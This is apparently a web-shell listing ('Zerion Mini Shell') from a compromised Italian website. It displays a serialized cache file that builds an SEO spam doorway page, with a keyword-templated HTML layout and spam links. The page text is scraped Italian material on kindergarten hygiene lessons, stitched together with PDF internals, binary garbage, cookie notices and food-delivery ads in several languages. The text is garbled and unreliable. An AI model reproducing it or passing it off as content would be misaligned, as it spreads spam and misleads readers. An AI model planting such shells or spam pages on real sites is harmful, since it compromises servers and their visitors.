%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/html/sljcon/public/foxfire-story-nnvwxm/cache/
Upload File :
Create Path :
Current File : //var/www/html/sljcon/public/foxfire-story-nnvwxm/cache/f5d5e050a0aa3d014102a2e367f044c3

a:5:{s:8:"template";s:8040:"<!DOCTYPE html>
<html lang="it">
<head>
<meta charset="utf-8"/>
<title>{{ keyword }}</title> 
<meta content="width=device-width, initial-scale=1" name="viewport"/>
<link href="//fonts.googleapis.com/css?family=Open+Sans%3A700%7CLora%3A400%2C400italic%2C700%7CHomemade+Apple&amp;ver=1.0.0" id="interior-fonts-css" media="all" rel="stylesheet" type="text/css"/>
<style rel="stylesheet" type="text/css">@charset "UTF-8";html{font-family:sans-serif;-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%}body{margin:0}footer,header,nav,section{display:block}a{background:0 0}a:active,a:hover{outline:0}html{-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}*,:after,:before{box-sizing:inherit}.before-footer:before,.footer-widgets:before,.nav-primary:before,.site-container:before,.site-footer:before,.site-header:before,.site-inner:before,.widget:before,.wrap:before{content:" ";display:table}.before-footer:after,.footer-widgets:after,.nav-primary:after,.site-container:after,.site-footer:after,.site-header:after,.site-inner:after,.widget:after,.wrap:after{clear:both;content:" ";display:table}html{font-size:62.5%}body>div{font-size:1.8rem}body{background-color:#eae8e6;color:#777;font-family:Lora,serif;font-size:18px;font-size:1.8rem;font-weight:400;line-height:1.625;margin:0}a{-webkit-transition:all .1s ease-in-out;-moz-transition:all .1s ease-in-out;-ms-transition:all .1s ease-in-out;-o-transition:all .1s ease-in-out;transition:all .1s ease-in-out}a{color:#009092;text-decoration:underline}a:focus,a:hover{color:#333;text-decoration:none}p{margin:0 0 28px;padding:0}ul{margin:0;padding:0}li{list-style-type:none}h2{font-family:'Open Sans',sans-serif;font-weight:700;line-height:1.2;margin:0 0 10px}h2{font-size:30px;font-size:3rem}::-moz-placeholder{color:#999;font-weight:400;opacity:1}::-webkit-input-placeholder{color:#999;font-weight:400}.screen-reader-text{position:absolute!important;clip:rect(0,0,0,0);height:1px;width:1px;border:0;overflow:hidden}.screen-reader-text:focus{clip:auto!important;height:auto;width:auto;display:block;font-size:1em;font-weight:700;padding:15px 23px 14px;color:#000;background:#fff;z-index:100000;text-decoration:none;box-shadow:0 0 2px 2px rgba(0,0,0,.6)}.site-inner,.wrap{margin:0 auto;max-width:1200px}.site-inner{clear:both;padding-top:60px}.widget{margin-bottom:40px;word-wrap:break-word}.widget-area .widget:last-of-type{margin-bottom:0}.flexible-widgets .wrap{max-width:1240px;padding:100px 0 60px}.flexible-widgets.widget-area .widget{float:left;margin-bottom:40px;padding-left:20px;padding-right:20px}.flexible-widgets.widget-full .widget{float:none;width:100%}:focus{color:#000;outline:#ccc solid 1px}.site-header{margin-top:60px;position:absolute;top:0;width:100%;z-index:9}.site-header>.wrap{background-color:#fff;min-height:70px}.title-area{float:left}.site-title{font-family:'Homemade Apple',cursive;font-size:30px;font-size:3rem;font-weight:400;line-height:1;margin-bottom:0}.site-header .site-title a,.site-header .site-title a:hover{background-color:#9b938c;color:#fff;display:inline-block;padding:20px;text-decoration:none}.site-header .site-title a:focus{background-color:#009092}.genesis-nav-menu{font-family:'Open Sans',sans-serif;font-size:16px;font-size:1.6rem;font-weight:700;line-height:1;letter-spacing:1px}.genesis-nav-menu{clear:both;width:100%}.genesis-nav-menu .menu-item{display:inline-block;position:relative;text-align:center}.genesis-nav-menu a{color:#777;text-decoration:none;text-transform:uppercase}.genesis-nav-menu a{display:block;padding:27px 20px}.genesis-nav-menu a:focus,.genesis-nav-menu a:hover{color:#009092}.menu .menu-item:focus{position:static}.nav-primary{float:right}.after-header{background-color:#373d3f;background-position:top;background-size:cover;color:#fff;padding:130px 0 60px;position:relative}.after-header:after{background-color:#373d3f;bottom:0;content:" ";display:block;left:0;-ms-filter:"alpha(Opacity=80)";opacity:.8;position:absolute;right:0;top:0;z-index:0}.after-header .wrap{position:relative;z-index:1}.before-footer{background-color:#373d3f;color:#fff;clear:both}.before-footer .flexible-widgets.widget-full .enews-widget{margin:0 auto 40px;max-width:800px;text-align:center}.footer-widgets{background-color:#fff;clear:both}.site-footer{background-color:#fff;border-top:1px solid #f5f5f5;line-height:1.2;padding:40px 0;text-align:center}@media only screen and (max-width:1280px){.site-inner,.wrap{max-width:960px}.flexible-widgets .wrap{max-width:1000px}}@media only screen and (max-width:1024px){.flexible-widgets .wrap,.site-inner,.wrap{max-width:800px}.genesis-nav-menu li,.site-header ul.genesis-nav-menu{float:none}.genesis-nav-menu{text-align:center}.flexible-widgets .widget{padding-left:0;padding-right:0}}@media only screen and (max-width:880px){.site-header,.site-inner,.wrap{padding-left:5%;padding-right:5%}.site-header>.wrap{padding:0}.flexible-widgets .wrap{padding:60px 5% 20px}}@media only screen and (max-width:380px){.nav-primary,.title-area{float:none}.site-header{position:relative;padding:0;margin:0}.after-header{padding-top:0}.site-title>a,.title-area{width:100%}.site-header .title-area,.site-title{text-align:center}}@font-face{font-family:'Homemade Apple';font-style:normal;font-weight:400;src:local('Homemade Apple Regular'),local('HomemadeApple-Regular'),url(http://fonts.gstatic.com/s/homemadeapple/v10/Qw3EZQFXECDrI2q789EKQZJob0x6XH0.ttf) format('truetype')}@font-face{font-family:Lora;font-style:italic;font-weight:400;src:url(http://fonts.gstatic.com/s/lora/v15/0QI8MX1D_JOuMw_hLdO6T2wV9KnW-MoFoq92mQ.ttf) format('truetype')}@font-face{font-family:Lora;font-style:normal;font-weight:400;src:url(http://fonts.gstatic.com/s/lora/v15/0QI6MX1D_JOuGQbT0gvTJPa787weuxJBkqg.ttf) format('truetype')}@font-face{font-family:Lora;font-style:normal;font-weight:700;src:url(http://fonts.gstatic.com/s/lora/v15/0QI6MX1D_JOuGQbT0gvTJPa787z5vBJBkqg.ttf) format('truetype')}@font-face{font-family:'Open Sans';font-style:normal;font-weight:700;src:local('Open Sans Bold'),local('OpenSans-Bold'),url(http://fonts.gstatic.com/s/opensans/v17/mem5YaGs126MiZpBA-UN7rgOUuhs.ttf) format('truetype')}</style>
</head>
<body class="custom-header header-full-width sidebar-content" itemscope="" itemtype="https://schema.org/WebPage"><div class="site-container"><header class="site-header" itemscope="" itemtype="https://schema.org/WPHeader"><div class="wrap"><div class="title-area"><p class="site-title" itemprop="headline"><a href="#">{{ keyword }}</a></p></div><h2 class="screen-reader-text">Main navigation</h2><nav aria-label="Main navigation" class="nav-primary" id="genesis-nav-primary" itemscope="" itemtype="https://schema.org/SiteNavigationElement"><div class="wrap"><ul class="menu genesis-nav-menu menu-primary js-superfish" id="menu-header-menu"><li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-774" id="menu-item-774"><a href="#" itemprop="url"><span itemprop="name">About</span></a></li>
<li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-775" id="menu-item-775"><a href="#" itemprop="url"><span itemprop="name">History</span></a></li>
<li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-776" id="menu-item-776"><a href="#" itemprop="url"><span itemprop="name">Contact Page</span></a></li>
</ul></div></nav></div></header><div class="after-header dark"><div class="wrap"></div></div><div class="site-inner">
{{ text }}
</div><div class="before-footer dark" id="before-footer"><div class="flexible-widgets widget-area widget-full"><div class="wrap"><section class="widget enews-widget" id="enews-ext-3"><div class="widget-wrap">{{ links }}</div></section>
</div></div></div><div class="flex-footer footer-widgets" id="footer"><h2 class="genesis-sidebar-title screen-reader-text">Footer</h2><div class="flexible-widgets widget-area widget-thirds"><div class="wrap">
</div></div></div><footer class="site-footer" itemscope=""><div class="wrap">{{ keyword }} 2020</div></footer></div>
</body></html>";s:4:"text";s:21459:"Sperimentare modalità di relazione per stare bene insieme. Competenze di base in uscita dalla Scuola dell’Infanzia. Servizi. Dal punto di vista operativo: - i bambini partecipano attivamente alla routine e alle pratiche igieniche correlate Vrei să comanzi mâncare de la Farmacia della Condotta? 0425 405234 – fax 0425 405813 email: roic807009@istruzione.it – pec: roic807009@pec.istruzione.it SCUOLA INFANZIA UNITA’ DI APPRENDIMENTO ... Autonomia nell’igiene personale-Esprimersi attraverso il linguaggio corporeo. Valutazione scuola infanzia 1. Unità di apprendimento scuola dell'infanzia INFANZIA UDA EDUCAZIONE CIVICA Unità di apprendimento classe prima primaria Unità di apprendimento classe seconda primaria Unità di apprendimento classe terza primaria Unità di apprendimento classe quarta primaria Unità SCUOLA DELL’INFANZIA ... 11,30 - 11,45 Igiene Bagno Gruppo classe 11,45 Pranzo Sezione Gruppo classe 12,40 – 12,50 Uscita straordinaria Sezione Gruppo classe 12,50 - 14,00 Gioco libero ... favorendo la costruzione personale delle conoscenze e consentendo la personalizzazione dell’apprendimento. - Ambiente. UDA UNITA’ DI APPRENDIMENTO Denominazione RISPETTARE SE’ E GLI ALTRI Bleah, lavarsi! 2-giu-2020 - Blog scuola, Schede didattiche scuola dell'infanzia, La maestra Linda, Schede didattiche da scaricare, Portali Didattici e di Servizio . igiene. 3^ nota: l’Uda mette in moto processi di apprendimento che non debbono solo rifluire nel “prodotto”, ma fornire spunti ed agganci per una ripresa dei contenuti attraverso la riflessione, l’esposizione, il consolidamento di quanto appreso. VALUTAZIONE E OSSERVAZIONI NELLA SCUOLA DELL’INFANZIA Di Vincenzo Riccio Osservare il bambino per programmare gli interventi educativo-didattici nella scuola dell’infanzia. V. della Pace, 22 – 45010 Villadose Tel. 31-lug-2020 - Esplora la bacheca "Igiene personale" di Teresa Ibisco su Pinterest. Linguistico responsabile informazione Competenze chiave di cittadinanza Traguardi di competenze in uscita 3 anni 4 anni 5 anni Ambito “ I Discorsi e le parole “ nei suoi aspetti fondamentali-Imparare ad imparare. Ambientale ed Ed. 8 16-mar-2017 - Esplora la bacheca "igiene dentale" di infanzia su Pinterest. Nominare, indicare, rappresentare le parti del corpo e individuare le diversità di genere. Nella Regole nelle situazioni di vita quotidiana, a tavola, nel gioco, ecc. Want to order food from Farmacia della Condotta? Messaggio sponsorizzato - Corso online di formazione, costituito da 4 lezioni, per supportare i docenti nella progettazione pratica delle Unità di Apprendimento (UdA) per la scuola dell’infanzia. Slideshare uses cookies to improve functionality and performance, and to provide you with relevant advertising. Benvenuti nella scuola dell'infanzia montessori, No public clipboards found for this slide. igiene personale. STRUMENTI DI DIDATTICA PER COMPETENZE: FORMAT UDA Pag 5 di 16 UNITA’ DI APPRENDIMENTO Competenze in tecnologia, arte e immagine - Pianificare la fabbricazione di un semplice oggetto. Prodotti Cartellone, indagine Libro illustrato sull'igiene personale della giornata Cartellone da appendere in bagno sull'igiene Competenze chiave/competenze culturali Abilità e conoscenze SCUOLA DELL’INFANZIA Sviluppata nell’ambito del progetto “DALLE INDICAZIONI NAZIONALI AL CURRICOLO VERTICALE D’ISTITUTO” PdM 2016/2017 – 2018/2019 Sede direzione e uffici amministrativi VIA DELLE SPINELLE N°24 74011 CASTELLANETA (TA) Tel./Fax :099-8441252 / 8445964 la Dottoressa Chiara Lolli ci presenta 'il corpo' U.D.A. Il Sé e l’altro. I Quadrimestre UdA interdisciplinare : (Ed. endstream
endobj
startxref
 Looks like you’ve clipped this slide to  already. Il Centro è aperto Progetto EDCE - Prof. T. Di Lauro FRIC828001@pec.istruzione.it Competenze sociali e civiche Agire in modo autonomo e responsabile, conoscendo e osservando regole e norme, con particolare riferimento alla Costituzione. Folosește Glovo și îți vom livra comanda acasă, rapid și ușor. 84. Avvio attività scolastiche e servizi educativi dell’infanzia-gestione di casi e focolai di CoviD-19. �G�����X#v��00��f�u��=&޵L��^�b`�tHMd���L�i6��� Rf`:�U�` ��QC
       
 endstream
endobj
644 0 obj
<>/Metadata 33 0 R/Outlines 49 0 R/PageLayout/OneColumn/Pages 641 0 R/StructTreeRoot 54 0 R/Type/Catalog>>
endobj
645 0 obj
<>/ExtGState<>/Font<>/XObject<>>>/Rotate 0/StructParents 0/Type/Page>>
endobj
646 0 obj
<>stream
 Caratteristiche dell’UDA. Salone e/o cortile. ABILITÀ Alimentarsi e vestirsi, riconoscere i segnali del corpo con buona autonomia. -Carta -Colori Bambini e bambine di quattro,cinque anni -Insegnanti di sezione Valutazione sulla capacità di:-Utilizzare i materiali in autonomia. Riconosce il proprio corpo, le sue diverse parti e rappresenta il corpo fermo e in movimento. 'una giusta alimentazione per crescere sani e forti' U.D.A. istituto comprensivo di boville ernica programmazione educativo-didattica adottata nei plessi della scuola dell’infanzia anno scolastico 2015-2016 8 FANTAVOLANDO (per la scuola dell'infanzia e primaria) GIOCA GIOCA GIOCA (materiale per la scuola dell'infanzia e primaria) IMPARIAMO INSIEME (risorse per ogni ordine e grado scolastico) JACK-POTATO (Risorse lingua inglese - primaria) MAESTRA ANNA RONCA (per la scuola primaria) MAESTRA CARMELINA (per la scuola primaria) ISTITUTO COMPRENSIVO N° 5 “SANTA LUCIA” PIANO DI LAVORO UDA DIAGRAMMA DI GANTT Tempi Fasi SETTEMBRE OTTOBRE NOVEMBRE 1 X 2 X X X 3 X 4 X 5 X 6 X. 10:00 - 11:15. L'organizzazione dei tempi. Personale "Piano delle Attività Personale ATA – Anno Scolastico 2020/21 e Atto di adozione" da 05-01-2021 a 12-09-2021 Contratti e Incarichi Decreto Scarpino Petronela da 30-12-2020 a 30-03-2021 Atti vari Contratto integrativo d'Istituto a.s. 2020/21 da 30-12-2020 a 26-10-2021 Discussioni e riflessioni guidate. SCUOLA DELL’INFANZIA. Unità di apprendimento scuola dell'infanzia INFANZIA UDA EDUCAZIONE CIVICA Unità di apprendimento classe prima primaria Unità di apprendimento classe seconda primaria Unità di apprendimento classe terza primaria Unità di apprendimento classe quarta primaria Unità h��ko�6��c�"�H�	�i�-MWgK� �XM�ٲa+X��ww"iʏ$Ȱ���y�וּa9��2�`p��L���B���F�dT�`��d�*39�5s��	�X&����1�csV@laS.q	v-r����px\��	�ʂT��{(G�7o��h̾��U��e��Y9͆�ȳ�O~�����x���}�����@�T��â��~oߍ۲�����拎���?_N�e�ܾM���ۇ��su[���ë�d��:����Ŵ��2ˉg�����*�N�U�(q6,����Eee'UGy(D��N�����i���߯r�3�yA{]��i9��������A����Ntb>��*�����p�[��osr'����b�ntrV.������oE���H�R��l������������w���u꟔�AX^�O�Ao���l%;|����b�KSQ���D96'X������Eb�CчkM�A����Z��՟��|V6kk� 5. -Rappresentazione grafica coerente. Visualizza altre idee su igiene personale, le idee della scuola, infanzia. Scuola infanzia San Benedetto Abate Modena. Tenersi puliti, osservare le pratiche di igiene e di cura di sé. Al termine del percorso triennale della scuola dell’infanzia, è ragionevole attendersi che ogni bambino abbia sviluppato alcune competenze di base che strutturano la sua crescita personale: - Riconosce ed esprime le proprie emozioni, è consapevole di desideri e paure, avverte gli stati d’animo propri e altrui. Blog scuola, Schede didattiche scuola dell'infanzia, La maestra Linda, Schede didattiche da scaricare, Articolo di Chiara. La caratteristica principale dell’unità didattica di apprendimento è quella di concretizzarsi in azioni precise e percorsi mirati nell’ambito di uno specifico argomento didattico (o meglio ancora di un campo del sapere) conducendo gli studenti ad un approccio personale … 11:15 - 11:30. Ascolto delle storie sull’amicizia, sul rispetto e sulla solidarietà. UDA INFANZIA UDA PRIMARIA E SECONDARIA PIANO DI LAVORO: INFANZIA, PRIMARIA, SECONDARIA DIAGRAMMA DI GANTT: INFANZIA, PRIMARIA, SECONDARIA SCHEMA DI CONSEGNA AGLI STUDENTI AUTOVALUTAZIONE ALUNNI e RUBRICHE DI VALUTAZIONE. SCUOLA DELL’INFANZIA Il bambino al termine del primo anno di scuola dell’infanzia, attraverso le esperienze maturate a scuola e in famiglia, i percorsi laboratoriali, e l’interazione con i compagni ha sviluppato alcune competenze di base che strutturano la sua crescita personale e che riguardano in particolare: lo sviluppo delle identità,  DELL’INFANZIA ANNO SCOLASTICO 2015-2016 . Qualora non troviate le informazioni necessarie segnalatelo all’Ufficio Relazioni col Pubblico Offerta educativa . - Assumere comportamenti corretti per la salute ... personale del sapere. Drammatizzazioni - Realizzazione di cartelloni/regole di comportamento. C onoscenza del mondo UDA – giornate dello sport: 5 anni Comunicazione in madrelingua, Consapevolezza ed espressione culturale. Lavori individuali. 'Q
�����Pv CONSEGNA AGLI STUDENTI Durante tutto l’anno abbiamo conosciuto e sperimentato diversi giochi. Avvio attività scolastiche e servizi educativi dell’infanzia-gestione di casi e focolai di CoviD-19. Ascolto delle storie sull’amicizia, sul rispetto e sulla solidarietà. -- Created using PowToon -- Free sign up at http://www.powtoon.com/youtube/ -- Create animated videos and animated presentations for free. Questa sezione contiene informazioni inerenti i servizi dell’Agenzia di Tutela della Salute (ATS) della Montagna erogati in favore dei cittadini. Competenze mirate Comuni/cittadinanza . 666 0 obj
<>/Filter/FlateDecode/ID[]/Index[643 42]/Info 642 0 R/Length 111/Prev 181118/Root 644 0 R/Size 685/Type/XRef/W[1 3 1]>>stream
 Blog scuola, Schede didattiche scuola dell'infanzia, La maestra Linda, Schede didattiche da scaricare, Articolo di Chiara. 12-giu-2020 - Esplora la bacheca "Igiene personale" di Maestra Elly, seguita da 269 persone su Pinterest. Come educare i bambini all'igiene personale L’igiene personale è un’attitudine e uno stile di vita che si apprende nell’infanzia e si consolida con l’abitudine, trascurarla significa incorrere in ripercussioni sanitarie e sociali. Clipping is a handy way to collect important slides you want to go back to later. conquista personale del sapere. Gioco libero . Igiene personale e momento del cerchio con il saluto a Gesù . 85. Scuola secondaria di primo grado: Cd . Le regole dei giochi. -Rappresentazione grafica coerente. A.s. 2014-15 Liceo delle Scienze Umane "James Joyce" di Ariccia (Rm). Allegati: Filename: gestione-casi-e-focolai-covid.zip (1.013 KB) Cerca: Istituzionale. Scuola Primaria: mostra di elaborati. - Utilizzare tecniche e diversi materiali per la realizzazione di semplici prodotti. Comunicazione: Filename: m_pi-aoodrlo-registro-ufficialeu-0022901-17-09-2020.pdf (358 KB) Il documento è acquisito al N. di Protocollo MI AOO DRLO R.U. SEZIONI E PERSONALE DOCENTE SEZIONE TULIPANI Lorena Ratti Angela Italia Sostegno: ... 11,30 - 11,45 Igiene Bagno Gruppo classe 11,45 Pranzo Sezione Gruppo classe 12,40 – 12,50 Uscita straordinaria Sezione Gruppo classe 12,50 - 14,00 Gioco libero Salone / Giardino / Palestra Tutte le sezioni 14,00 - 15,30 Sonno (3 anni) Gioco libero e attività (4 e 5 anni) Sezione Gruppo classe 15,30 - … 'lindi e pinti senza sprechi' U.D.A. Le regole dei giochi. Title: FORMAT Author: UDA UNITA’ DI APPRENDIMENTO SCUOLA DELL’INFANZIA Denominazione NOI SIAMO PARI UGUALI A PICCOLI PASSI Prodotti FLASH MOB, interviste, libricino: ”IO SONO”, diagramma, maschere, esecuzione mimata di brani musicali. 10-giu-2020 - Esplora la bacheca "igiene" di Valeria Caliri su Pinterest. Riconosce il proprio corpo, le sue diverse parti e rappresenta il corpo fermo e in movimento. 'mente sana in corpo sano' Metodologia. 3^ nota: l’Uda mette in moto processi di apprendimento che non debbono solo rifluire nel “prodotto”, ... Il docente introduce l’argomento richiamando la precedente esperienza della scuola dell’infanzia e Via Monte Piana, 2 - 72027 San Pietro Vernotico (BR) - Tel. Igiene personale e preparazione al pranzo . 22901 del 17-09-2020. Regole di igiene personale e degli ambienti. See our Privacy Policy and User Agreement for details. We use your LinkedIn profile and activity data to personalize ads and to show you more relevant ads. 6. nella sezione “verifiche” sono suggeriti alcuni strumenti per il controllo degli obiettivi educativi. ABILITÀ Alimentarsi e vestirsi, riconoscere i segnali del corpo con buona autonomia. Unità di competenza n. 1: LA SCUOLA: AMBIENTE DI RELAZIONI Destinatari: Bambini di 3-4-5 anni ... -Conoscere la storia personale, la famiglia e il gruppo sezione ... di igiene e di sana alimentazione L'igiene personale è, dal punto di vista delle insegnanti, un’attività educativa ritualizzata, progettata in modo da soddisfare tutte le esigenze di ciascun bambino (quelle fisiologiche certo, ma non in modo esclusivo). Il movimento sicuro. SEZIONE I ( BAMBINI DI 3 ANNI) UNITA’ D’APPRENDIMENTO n°1 TITOLO “COMINCIA L’AVVENTURA” Individuale di gruppo di sezione X OBIETTIVO DI RIFERIMENTO:Favorire un approccio positivo con la scuola e con i compagni. Sala da pranzo. ... conquista personale del sapere. 1 CURRICOLO DI CITTADINANZA E COSTITUZIONE (con UDA) Uno dei principali obiettivi dell’attuale Quadro strategico per la cooperazione europea nel settore dell‘istruzione e della formazione, fino al 2020, è la promozione di equità, coesione sociale e cittadinanza attiva attraverso l’istruzione scolastica. 11-mag-2020 - Blog scuola, Schede didattiche scuola dell'infanzia, La maestra Linda, Schede didattiche da scaricare, .. Salvato da lamaestralinda.blogspot.com. UDA UNITA’ DI APPRENDIMENTO Denominazione RISPETTARE SE’ E GLI ALTRI Bleah, lavarsi! h�bbd```b``��SA$�ɾ���N���$���Y`RLV�I7�z�x,�"���G��ԃ`�BA$� �Ȯ$��=�����$�e`�!�����@� �_
 Il movimento sicuro. %%EOF
 Regole nelle situazioni di vita quotidiana, a tavola, nel gioco, ecc. If you continue browsing the site, you agree to the use of cookies on this website. igiene. Pranzo . personale. Infanzia e Primaria gli alunni della primaria propongono ai futuri compagni un gioco a coppie dando loro indicazioni verbali su come realizzarlo. nella sezione “giochi” sono inserite alcune attività ludiche collegate al modulo. Descrizione: file pdf di 40 pagine con varie unità didattiche sull'igiene della persona, ricche di immagini e indicazioni operative. Via Torrione dei Nobili, 2 - 03022 Boville Ernica (FR) - C.F. Discorsi e parole. - Sperimentare tecniche e materiali per esprimersi e comunicare. Use Glovo and we'll bring your order to your door, quickly and easily. Reperire, organizzare, utilizzare informazioni da fonti diverse per assolvere un determinato compito; organizzare il proprio apprendimento; acquisire abilità di studio. Tenersi puliti, osservare le pratiche di igiene e di cura di sé. Now customize the name of a clipboard to store your clips. dell'Istituto Comprensivo di Pietramelara - Caserta. h�b```�9���@��(���1�����t�ֆ{	�T,8���aX�{���j&Ǥ����Ef������hzm�!n���,V�\�z�PĹn�}���t+\?e7)�^�`���``���h``@0�D�;@GG6g �S#�bI��B����091>d����I��� 3^ nota: l’Uda mette in moto processi di apprendimento che non debbono solo rifluire nel 22901 del 17-09-2020. -Carta -Colori Bambini e bambine di quattro,cinque anni -Insegnanti di sezione Valutazione sulla capacità di:-Utilizzare i materiali in autonomia. Slideshare uses cookies to improve functionality and performance, and to provide you with relevant advertising. Order with Glovo now. Il Servizio si trova a Malgrate in Via Gaggio, all’interno del Istituto Comprensivo. Istituto Comprensivo Statale. Portali Didattici e di Servizio . ��BJ](��bl`���e�<
"H[K����%�8�'A����R��"URз�. Comandă prin Glovo acum. Attività di sezione secondo il programma didattico ed articolate in unità di lavoro . FRIC828001 0775379008 0775379008 FRIC828001@istruzione.it P.E.C. 643 0 obj
<>
endobj
             
 Lavori di gruppo. You can change your ad preferences anytime. ,��������������}nT�e��U�O��ޕK��Ɗ��S�)�Rk�C�^�{cד�nue ��� ��� eZ�߸�m��@kZFz�Y�HK��G )%dZΌ��74�)�i�@2X׬�#:��9��5��9�In�����Es��y:�;�����q� c����qO	�8�QI�Gy^��@�)��q�����9�Fj�nB�����Ѵ�R��s��3Y"��xu� �Hd�I�i==>�RQ0�s����h��p��������Q��4; �ޅ�^��иN�s:M��Kҭ��-���������l��\��y3�?�����x|>�}h�������ɽ����FrG^�{��߽��)�i|���4���)�lš:�$��|. 3. If you continue browsing the site, you agree to the use of cookies on this website. Redirecting to https://www.unicef.it/media/proposte-educative-coronavirus/ 0
 Test di verifica. Visualizza altre idee su igiene personale, le idee della scuola, infanzia. E’ suddivisa in aree tematiche consultabili dal menù. Igiene personale. Scuola d’Infanzia: mostra di cartelloni. -Progettare -Comunicare Domandare-Collaborare e partecipare. Imparare ad imparare, 2 L'UDA trasversale di quest'anno intende promuovere quanto contenuto nell’Agenda 2030 per lo Sviluppo Sostenibile e quanto esplicitato tra le … -Autonomia nell’igiene personale 7 Rappresentazioni grafico - pittoriche del personaggio e della stagione. Comunicazione: Filename: m_pi-aoodrlo-registro-ufficialeu-0022901-17-09-2020.pdf (358 KB) Il documento è acquisito al N. di Protocollo MI AOO DRLO R.U. UDA – alfa_inf_ comp digitali: 5 anni Comunicazione in madrelingua, c ompetenza digitale, Imparare ad imparare, c ompetenze sociali e civiche . La Scuola dell'Infanzia concorre all'educazione armonica ed integrale dei bambini e delle bambine. Competenze chiave/competenze culturali Evidenze osservabili Regole di igiene personale e degli ambienti. CENTRO ZIGO ZAGO - MALGRATE . - Riciclaggio. Visualizza altre idee su Igienista dentale, Igiene orale, Igiene personale. - Igiene personale. l'igiene personale e ambientale; l'attività fisica; prevenzione e cura; dalla salute al benessere ; Essi si articolano in quattro unità di apprendimento: U.D.A. 11:30 - 12:30. Visualizza altre idee su igiene personale, scuola, infanzia. Sezione. 12:30 - 13:30. Riconosce i segnali e i ritmi del proprio corpo, le differenze sessuali e di sviluppo e adotta pratiche corrette di cura di sé, di igiene e di sana alimentazione. dell'Istituto Comprensivo di Pietramelara - Caserta. Personale "Piano delle Attività Personale ATA – Anno Scolastico 2020/21 e Atto di adozione" da 05-01-2021 a 12-09-2021 Contratti e Incarichi Decreto Scarpino Petronela da 30-12-2020 a 30-03-2021 Atti vari Contratto integrativo d'Istituto a.s. 2020/21 da 30-12-2020 a 26-10-2021 UDA UNITA’ DI APPRENDIMENTO Denominazione ALFAETIZZAZIONE EMOZIONALE NELLA SUOLA DELL’INFANZIA Compito significativo e prodotti RICONOSCERE ED ESPRIMERE IN MODO CORRETTO LE EMOZIONI Competenze chiave e relative competenze specifiche Evidenze osservabili Competenze sociali e civiche Manifestare il senso dell’identità personale, INFANZIA Sperimentare il proprio corpo nello spazio, con gli oggetti (il loro uso e dove riporli) e in relazione agli altri per la prevenzione degli infortuni Sperimentare sani comportamenti alimentari; mettere in atto corretti comportamenti di igiene personale nelle diverse situazioni in … Campi di esperienza nella scuola dell'infanzia. PROGETTI DELLA SCUOLA DELL’INFANZIA “BRUNO MUNARI” CALCINATELLO RELATIVI ALLA CITTADINANZA E ALLA LEGALITÁ TITOLO DEL PROGETTO: “STRADA AMICA” DESCRIZIONE DELL’ATTIVITÁ Il progetto “ Strada amica”, in corso già da diversi anni, ha lo scopo di sensibilizzare i bambini alle regole di OBIETTIVI DI RIFERIMENTO: sviluppare il senso dell’identità personale e di appartenenza; riconoscere l’autorità e … Il centro prima infanzia Zigo Zago si trova a Malgrate (LC) in Via Gaggio, all’interno del Istituto Comprensivo. Drammatizzazioni - Realizzazione di cartelloni/regole di comportamento. Progetto EDCE - Prof. T. Di Lauro La struttura è dotata di giardino e di ampio parcheggio esterno e può accogliere 15 bambini dai 9 mesi al 3 anni. Prima bozza In corso di completamento 2. 0831 671239 12-giu-2020 - Esplora la bacheca "Igiene personale" di Maestra Elly, seguita da 269 persone su Pinterest. -Autonomia nell’igiene personale 7 Rappresentazioni grafico - pittoriche del personaggio e della stagione. %PDF-1.5
%����
 Visualizza altre idee su igiene personale, scuola, infanzia. Nominare, indicare, rappresentare le parti del corpo e individuare le diversità di genere. 80012790608 - C.M. 684 0 obj
<>stream
 See our User Agreement and Privacy Policy. Igiene personale. L’igiene personale Osservazione dei comportamenti acquisiti. ";s:7:"keyword";s:29:"uda igiene personale infanzia";s:5:"links";s:626:"<a href="http://sljco.it/foxfire-story-nnvwxm/me-stesso-sinonimo-d48c39">Me Stesso Sinonimo</a>,
<a href="http://sljco.it/foxfire-story-nnvwxm/famoso-sfera-ebbasta-canzoni-d48c39">Famoso Sfera Ebbasta Canzoni</a>,
<a href="http://sljco.it/foxfire-story-nnvwxm/scuole-roma-apertura-d48c39">Scuole Roma Apertura</a>,
<a href="http://sljco.it/foxfire-story-nnvwxm/24-surrealismo-pdf-d48c39">24 Surrealismo Pdf</a>,
<a href="http://sljco.it/foxfire-story-nnvwxm/rustico-val-trebbia-affitto-d48c39">Rustico Val Trebbia Affitto</a>,
<a href="http://sljco.it/foxfire-story-nnvwxm/youtube-video-slime-d48c39">Youtube Video Slime</a>,
";s:7:"expired";i:-1;}

Zerion Mini Shell 1.0